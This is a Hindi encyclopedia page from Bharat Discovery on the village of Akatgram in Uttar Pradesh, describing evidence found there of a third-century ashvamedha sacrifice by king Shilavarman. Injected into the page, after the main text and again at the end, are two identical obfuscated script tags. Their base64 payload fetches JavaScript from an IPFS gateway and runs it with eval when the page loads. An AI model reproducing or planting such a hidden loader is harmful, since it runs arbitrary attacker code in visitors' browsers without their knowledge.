अकतग्राम उत्तर प्रदेश
भारत डिस्कवरी प्रस्तुति
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
- 1953 में इस स्थान से तीसरी शती ई. के गोढ्य-वंशी राजा शीलवर्मन् द्वारा किए गए अश्वमेध यज्ञ के चिह्न प्राप्त हुए थे।
- शीलवर्मन् ऐतिहासिक काल के उन थोड़े से राजाओं में से हैं जिन्हें महान् अश्वमेध यज्ञ करने का सौभाग्य प्राप्त हुआ था।
- प्रथम शती ई. पू. में इतिहास-प्रसिद्ध शुंगनरेश पुष्यमित्र ने भी अश्वमेध यज्ञ किया था।
- वह समय था जब प्राचीन वैदिक धर्म बौद्ध धर्म के सर्वग्रास से धीरे-धीरे मुक्त हो रहा था।
- संभव है शीलवर्मन् ने भी प्राचीन परंपरा का निर्वाह करते हुए ही इस स्थान पर अश्वमेध यज्ञ का अनुष्ठान किया था।
- अकतग्राम से शीलवर्मन् के संस्कृत अभिलेख के अतिरिक्त अश्वमेध के यूपादि के भी अवशेष प्राप्त हुए हैं।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ऐतिहासिक स्थानावली |पृष्ठ संख्या= 9| विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>